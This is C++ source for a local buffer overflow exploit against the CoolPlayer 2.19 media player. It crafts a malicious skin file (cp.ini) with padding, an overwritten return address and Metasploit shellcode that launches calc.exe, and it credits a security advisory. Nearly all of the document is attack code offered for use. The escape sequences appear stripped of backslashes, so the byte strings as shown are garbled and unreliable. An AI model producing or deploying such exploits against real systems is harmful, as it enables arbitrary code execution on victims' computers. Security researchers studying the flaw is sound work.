/*
* CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit
*
* Advisory: http://www.bmgsec.com.au/advisory/43/
* Test box: WinXP Pro SP2 English
*
* Code reference is in skin.c, lines 464 - 480
*
* Written and discovered by:
* r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
*/

#include <iostream>
#include <fstream>
#include <cstdlib> //exit

using namespace std;

int main()
{
    //win32_exec -  EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
    //Bad characters: 0x00, 0x0d, 0xf4
    char scode[] =
        "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
        "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
        "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
        "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
        "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
        "x42x30x42x50x42x30x4bx58x45x34x4ex53x4bx38x4ex57"
        "x45x50x4ax37x41x30x4fx4ex4bx38x4fx44x4ax31x4bx38"
        "x4fx55x42x42x41x30x4bx4ex49x34x4bx48x46x33x4bx48"
        "x41x30x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c"
        "x46x47x47x50x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e"
        "x46x4fx4bx53x46x35x46x42x46x30x45x57x45x4ex4bx38"
        "x4fx45x46x52x41x50x4bx4ex48x36x4bx38x4ex30x4bx54"
        "x4bx38x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx58"
        "x41x30x4bx4ex49x48x4ex55x46x42x46x50x43x4cx41x43"
        "x42x4cx46x36x4bx48x42x44x42x33x45x58x42x4cx4ax47"
        "x4ex50x4bx48x42x34x4ex30x4bx38x42x47x4ex31x4dx4a"
        "x4bx48x4ax46x4ax30x4bx4ex49x30x4bx48x42x58x42x4b"
        "x42x50x42x50x42x30x4bx38x4ax36x4ex53x4fx35x41x53"
        "x48x4fx42x46x48x45x49x58x4ax4fx43x38x42x4cx4bx57"
        "x42x45x4ax46x50x47x4ax4dx44x4ex43x37x4ax46x4ax39"
        "x50x4fx4cx48x50x30x47x35x4fx4fx47x4ex43x46x41x46"
        "x4ex36x43x46x50x32x45x46x4ax37x45x46x42x30x5a";

    char buffer[1918];
    char eip[] = "x27x38x03x7d"; //jmp esp

    cout << "[*] Generating payloadn";
    strcpy(buffer, "[CoolPlayer Skin]nPlaylistSkin=");

    int i;
    for (i=0; i<1534; i++)
        buffer[31+i] = 'A';

    for (i=0; i<sizeof(eip); i++)
        buffer[1565+i] = eip[i];

    for (i=0; i<sizeof(scode); i++)
        buffer[1569+i] = scode[i];

    ofstream outStream;
    outStream.open("cp.ini");

    outStream << buffer;

    outStream.close();

    cout << "[+] Skin file created.n";

    return 0;
}

// www.Syue.com [2008-12-21]